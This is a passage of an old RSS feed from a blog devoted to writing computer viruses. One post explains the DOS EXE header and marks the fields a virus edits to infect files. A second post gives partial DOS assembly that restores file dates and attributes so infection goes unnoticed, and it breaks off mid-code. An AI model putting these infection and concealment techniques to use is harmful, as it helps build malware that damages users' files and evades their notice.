&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=m0vW39l7-s8:C2K4qHYJwU8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=m0vW39l7-s8:C2K4qHYJwU8:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=m0vW39l7-s8:C2K4qHYJwU8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=m0vW39l7-s8:C2K4qHYJwU8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=m0vW39l7-s8:C2K4qHYJwU8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=m0vW39l7-s8:C2K4qHYJwU8:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=m0vW39l7-s8:C2K4qHYJwU8:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=m0vW39l7-s8:C2K4qHYJwU8:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=m0vW39l7-s8:C2K4qHYJwU8:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=m0vW39l7-s8:C2K4qHYJwU8:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=m0vW39l7-s8:C2K4qHYJwU8:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=m0vW39l7-s8:C2K4qHYJwU8:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/m0vW39l7-s8/exe-infections-part-1-infection-process_08.html</link><author>noreply@blogger.com (DauskupanG)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_-NwIfV3kOeQ/SlSafmMeSrI/AAAAAAAAADY/S6KcmCRwrTQ/s72-c/1.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2009/07/exe-infections-part-1-infection-process_08.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-5255391418162864679</guid><pubDate>Tue, 07 Jul 2009 16:15:00 +0000</pubDate><atom:updated>2009-07-08T00:37:23.475+08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DOS</category><category domain="http://www.blogger.com/atom/ns#">EXE</category><category domain="http://www.blogger.com/atom/ns#">Computer virus</category><title>EXE Infections: Part 1 "Infection Process"</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/zcHtZGedoy1Ixe-H2qzLpoO5aXc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zcHtZGedoy1Ixe-H2qzLpoO5aXc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/zcHtZGedoy1Ixe-H2qzLpoO5aXc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zcHtZGedoy1Ixe-H2qzLpoO5aXc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="zemanta-img" style="margin: 1em; float: right; display: block; width: 310px; font-family: times new roman;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Image:Aids_computer_virus_payload.JPG"&gt;&lt;img src="http://upload.wikimedia.org/wikipedia/en/thumb/e/e5/Aids_computer_virus_payload.JPG/300px-Aids_computer_virus_payload.JPG" alt="AIDS (computer virus)" style="border: medium none ; display: block;" width="300" height="223" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="zemanta-img-attribution"  style="font-size:100%;"&gt;Image via &lt;a href="http://en.wikipedia.org/wiki/Image:Aids_computer_virus_payload.JPG"&gt;Wikipedia&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning&gt;&lt;/w&gt;   &lt;w:validateagainstschemas&gt;&lt;/w&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables&gt;&lt;/w&gt;    &lt;w:snaptogridincell&gt;&lt;/w&gt;    &lt;w:wraptextwithpunct&gt;&lt;/w&gt;    &lt;w:useasianbreakrules&gt;&lt;/w&gt;    &lt;w:dontgrowautofit&gt;&lt;/w&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:12.0pt;  font-family:"Times New Roman";  mso-fareast-font-family:"Times New Roman";} p.MsoPlainText, li.MsoPlainText, div.MsoPlainText  {margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Courier New";  mso-fareast-font-family:"Times New Roman";} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.25in 1.0in 1.25in;  mso-header-margin:.5in;  mso-footer-margin:.5in;  mso-paper-source:0;} div.Section1  {page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;            &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;We must admit there are HUGE amount of Lame Viruses out there. Ever&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;wonder why so many people talk about the AIDS virus? Its a fucken over&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;writing virus. Its HUGE in size and its written in PASCAL. Please! Have&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;a little more respect for the virus world. What happened to that old&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;Bulgarian Spirit? That too has died. Bulgaria isn't writing as many top&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;viruses as it used to! Or are we in for a surprise? (USSR Kicks!)&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style=";font-size:100%;" &gt;       &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style=";font-size:100%;" &gt;                                                                           &lt;/span&gt;&lt;/p&gt;            &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;Well to help people in advancing their Virus programming ability I will&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;try to explain that basics in Infecting an EXE file. There are several&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;ways to infect an EXE file. And I have tried several types. The best one&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;I have programmed is the one you'll see. In Basic, it will infect EXEs&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;by starting a new segment, only for the virus. This will infect EXEs over&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;the size of 64k, and it is a lot less complicated..&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;                    &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style=";font-size:100%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style=";font-size:100%;" &gt;                                                                           &lt;/span&gt;&lt;/p&gt;                                            &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;Before we can begin we must know a few things, about EXEs. Let's say a&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;.COM file has been loaded to segment address 1234:0000. When the COM file&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;end EXE files, are basicaly several COMs in one. Where EXE files can set&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;up DATA struct in one segment, CODE in another, and STACK in another. EXEs&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;can have an unlimited amount of Segments, its limitation is Memory&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;Availablity. And the EXE file keeps track of these Segments, with an&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;EXE header, telling DOS what segments start where, How big the file is,&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;the amount of memory needed to run. the EXE header is the first few bytes&lt;/span&gt;&lt;span style="font-size:100%;"&gt;of the EXE file.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;Though if you use DEBUG to load an EXE file you will not&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;run into the EXE header, as DEBUG uses the EXE header to load its CS:IP&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;registers with, the SS:SP and so on. Though you can view the EXE header&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EXE'&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;Just rename an EXE, the extension can be anything you wish, however don't&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;go and rename it to COM or BIN, these are reserved Extensions, and debug&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;treats them differently, Example if you rename it to COM debug will load&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;the IP regester as 0100h. The EXE header is Usually 28 bytes, though it&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;it? Just a poping ideas out in the open. Anyhow this is how the EXE header&lt;/span&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;consists, of..&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;        &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style=";font-size:100%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style=";font-size:100%;" &gt;                                                 &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-weight: bold; font-style: italic;font-size:100%;" &gt;START OFFSETS            DISCRIPTIONS&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;  &lt;/span&gt;                                   &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-weight: bold; font-style: italic;font-size:100%;" &gt;(hex) (dec)&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;&lt;span style="font-weight: bold; font-style: italic;"&gt; &lt;/span&gt;                                                              &lt;/span&gt;&lt;/p&gt;    &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt; 00 | 00 | Always 4D 5A. Marks this file as an .EXE file&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;*02 | 02 | Remainder after dividing load module's size by 512            &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;*04 | 04 | Size of file in 512 byte pages&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;    &lt;/span&gt;                            &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;06 | 06 | Number of relocation table entries&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;               &lt;/span&gt;&lt;span style=";font-size:100%;" &gt;             &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;@08 | 08 | Size of header in paragraphs (16 bytes)&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;                      &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;0A | 10 | Minumum number of paragraphs required after loaded program&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;    &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;0C | 12 | Maximum number of paragraphs required after loaded program&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;    &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;*0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs     &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;*10 | 16 | SP regester loaded with this word&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;                             &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;12 | 18 | Negative sum (ignore overflow) of all words in file (CRC)&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;     &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;*14 | 20 | IP register loaded with this word                             &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;*16 | 22 | (CS) Offset of Code Segment in load module in paragraphs&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;  &lt;/span&gt;    &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;font-family:arial;"  class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;18 | 24 | Offset of first relocation item.&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;                              &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;" class="MsoPlainText"&gt;&lt;span style="font-size:100%;"&gt;1A | 26 | Overlay number. If no overlays used, this is 0 &lt;/span&gt;&lt;span style=";font-size:100%;" &gt;               &lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-weight: bold; font-family: times new roman;font-family:arial;" class="MsoPlainText"&gt;&lt;span style=";font-size:100%;" &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;* = Will be Edited by our Virus&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;                                           &lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;" class="MsoPlainText"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt; @ = Needed to help our reconstruction of the EXE header&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;                  &lt;/span&gt;&lt;/p&gt;        &lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="zemanta-pixie-a" href="http://reblog.zemanta.com/zemified/997c502b-25eb-4ef7-8647-41b2046727c8/" title="Reblog this post [with Zemanta]"&gt;&lt;img style="border: medium none ; float: right;" class="zemanta-pixie-img" src="http://img.zemanta.com/reblog_e.png?x-id=997c502b-25eb-4ef7-8647-41b2046727c8" alt="Reblog this post [with Zemanta]" /&gt;&lt;/a&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-5255391418162864679?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lDnGUOH3DH4:1VA96Ax_B8k:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lDnGUOH3DH4:1VA96Ax_B8k:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lDnGUOH3DH4:1VA96Ax_B8k:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lDnGUOH3DH4:1VA96Ax_B8k:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=lDnGUOH3DH4:1VA96Ax_B8k:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lDnGUOH3DH4:1VA96Ax_B8k:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lDnGUOH3DH4:1VA96Ax_B8k:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=lDnGUOH3DH4:1VA96Ax_B8k:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lDnGUOH3DH4:1VA96Ax_B8k:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lDnGUOH3DH4:1VA96Ax_B8k:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=lDnGUOH3DH4:1VA96Ax_B8k:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lDnGUOH3DH4:1VA96Ax_B8k:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/lDnGUOH3DH4/exe-infections-part-1-infection-process.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2009/07/exe-infections-part-1-infection-process.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-5458264963641551781</guid><pubDate>Thu, 02 Jul 2009 05:32:00 +0000</pubDate><atom:updated>2009-07-02T13:38:07.502+08:00</atom:updated><title>Cover your tracks</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/t9GJubk99Rg726iPkzyaA37YaXk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t9GJubk99Rg726iPkzyaA37YaXk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/t9GJubk99Rg726iPkzyaA37YaXk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t9GJubk99Rg726iPkzyaA37YaXk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style=""&gt;This step, though simple to do, is too easily neglected.&lt;span style=""&gt;  &lt;/span&gt;It is extremely important, as a wary user will be alerted to the presence of a virus by any unnecessary updates to a file.&lt;span style=""&gt;  &lt;/span&gt;In its simplest form, it involves the restoration of&lt;span style=""&gt;   &lt;/span&gt;file attributes, time and date.&lt;span style=""&gt;   &lt;/span&gt;This is done with the following:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;ax, 5701h&lt;span style=""&gt;                      &lt;/span&gt;; Set file time/date&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;dx, word ptr [bp+f_date]&lt;span style=""&gt;       &lt;/span&gt;; DX = date&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;cx, word ptr [bp+f_time]&lt;span style=""&gt;       &lt;/span&gt;; CX = time&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;int&lt;span style=""&gt;     &lt;/span&gt;21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;ah, 3eh&lt;span style=""&gt;               &lt;/span&gt;&lt;span style=""&gt;         &lt;/span&gt;; Handle close file&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;int&lt;span style=""&gt;     &lt;/span&gt;21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;ax, 4301h&lt;span style=""&gt;                      &lt;/span&gt;; Set attributes&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;lea&lt;span style=""&gt;     &lt;/span&gt;dx, [bp+offset DTA + 1Eh]&lt;span style=""&gt;      &lt;/span&gt;; Filename still in DTA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;xor&lt;span style=""&gt;     &lt;/span&gt;ch, ch&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;cl, byte ptr [bp+f_attrib]&lt;span style=""&gt;     &lt;/span&gt;; Attribute in CX&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span 